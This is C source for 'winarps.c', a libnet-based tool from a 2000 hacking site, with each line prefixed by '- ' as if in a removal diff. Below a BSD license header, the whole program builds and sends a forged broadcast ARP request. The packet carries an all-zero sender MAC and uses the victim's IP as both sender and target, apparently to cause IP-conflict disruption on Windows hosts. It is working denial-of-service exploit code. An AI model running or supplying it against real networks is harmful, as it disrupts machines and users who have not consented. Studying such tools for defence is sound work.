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- /*
- * Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com>
- * All rights reserved.
- *
- * Modified to winarps.c 1999 by kay <kay@phreedom.org>
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- */
-
- #include <libnet.h>
-
- u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
- u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
- u_long ip_dst = 0;
-
- void send_arp(struct link_int *, u_char *);
-
- #if (__linux__)
- #define IPOPT_SECURITY 130
- #endif
-
- int main(int argc, char *argv[])
- {
- int c, count = 1;
- char errbuf[256];
- char *device = NULL;
- char *address = NULL;
- struct link_int *l;
-
- while ((c = getopt(argc, argv, "i:d:c:")) != EOF)
- {
- switch (c)
- {
- case 'i':
- device = optarg;
- break;
- case 'd':
- address = optarg;
- ip_dst = name_resolve(address, 0);
- break;
- case 'c':
- count = atoi(optarg);
- break;
- default:
- exit(EXIT_FAILURE);
- }
- }
-
- if (!device)
- {
- fprintf(stderr, "Specify a device\n");
- exit(EXIT_FAILURE);
- }
- if (!ip_dst)
- {
- fprintf(stderr, "Specify destination\n");
- exit(EXIT_FAILURE);
- }
- if ((l = open_link_interface(device, errbuf)) == NULL)
- {
- fprintf(stderr, "open_link_interface: %s\n", errbuf);
- exit(EXIT_FAILURE);
- }
- send_arp(l, device);
- exit(EXIT_SUCCESS);
- }
-
-
- void send_arp(struct link_int *l, u_char * device)
- {
- int n;
- u_char *buf;
-
- buf = (u_char *) malloc(ARP_H + ETH_H);
- if (!buf)
- {
- perror("no packet memory");
- exit(EXIT_FAILURE);
- }
- memset(buf, 0, ARP_H + ETH_H);
-
- build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
- build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
- (void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
- n = write_link_layer(l, device, buf, ARP_H + ETH_H);
-
- printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
- }
- /* www.hack.co.za [2000]*/